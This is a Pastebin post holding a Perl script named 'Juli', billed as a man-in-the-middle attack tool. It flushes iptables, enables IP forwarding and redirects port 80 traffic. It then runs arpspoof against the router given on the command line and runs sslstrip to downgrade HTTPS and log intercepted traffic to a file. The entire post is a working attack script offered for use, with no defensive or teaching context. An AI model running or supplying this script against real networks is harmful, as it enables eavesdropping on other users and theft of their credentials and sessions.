Advertisement
TP2K1

Juli - MiTM Attack Script

Jun 16th, 2015
625
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.91 KB | None | 0 0
  1. #!usr/bin/perl
  2. use Term::ANSIColor;
  3. ############################################################################
  4. print "**************************************************************\n"; #
  5. print "+ -== JULI ==- +\n"; #
  6. print "+ -== Man-in-the-middle Attack Script ==- +\n"; #
  7. print "+ -== By em616 , em(at)em616.com , http://blog.em616.com ==- +\n"; #
  8. print "**************************************************************\n"; # ############################################################################
  9. # Cleaning stuff
  10. system "killall -9 sslstrip arpspoof:";
  11. system "echo '0' > /proc/sys/net/ipv4/ip_forward";
  12. system "iptables --table nat --flush";
  13. system "iptables --flush";
  14. system "iptables --delete-chain";
  15. system "iptables --table nat --delete-chain";
  16. #Making a Firewall, setting iptables roule to redirect port 80 to 5254
  17. print color("bold red"), "Setting up the iptables roulle\n", color("reset");
  18. print color("bold red"), ". . ..\n", color("reset");
  19. system "iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 5254";
  20. #Port Fawarding
  21. print color("bold red"), "Setting up port fawarding on our box\n", color("reset");
  22. system "echo '1' > /proc/sys/net/ipv4/ip_forward";
  23. ## Arpspoof Script, must specify your interface and router IP
  24. if ($#ARGV < 0) {
  25. print q{
  26. Enter your interface and router ip, Ex: en@em616:~$ perl juli.pl wlan0 192.168.0.1
  27. };
  28. exit;
  29. } elsif ($#ARGV < 1) {
  30. print "You have not provided all of the arguments required\n";
  31. print color("bold green"), "perl juli.pl wlan0 192.168.0.1\n", color("reset");
  32. exit;
  33. }
  34. $interface = $ARGV[0];
  35. $getway = $ARGV[1];
  36. print color("bold red"), "Starting arpsoof on interface: $interface ip: $getway \n", color("reset");
  37. system "arpspoof -i $interface $getway & sslstrip -a -k -l 5254 -w Juliscript.log";
  38. print "Script stoped by you , check Juliscript.log if we found anything \n"
  39. # LineAL ;)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement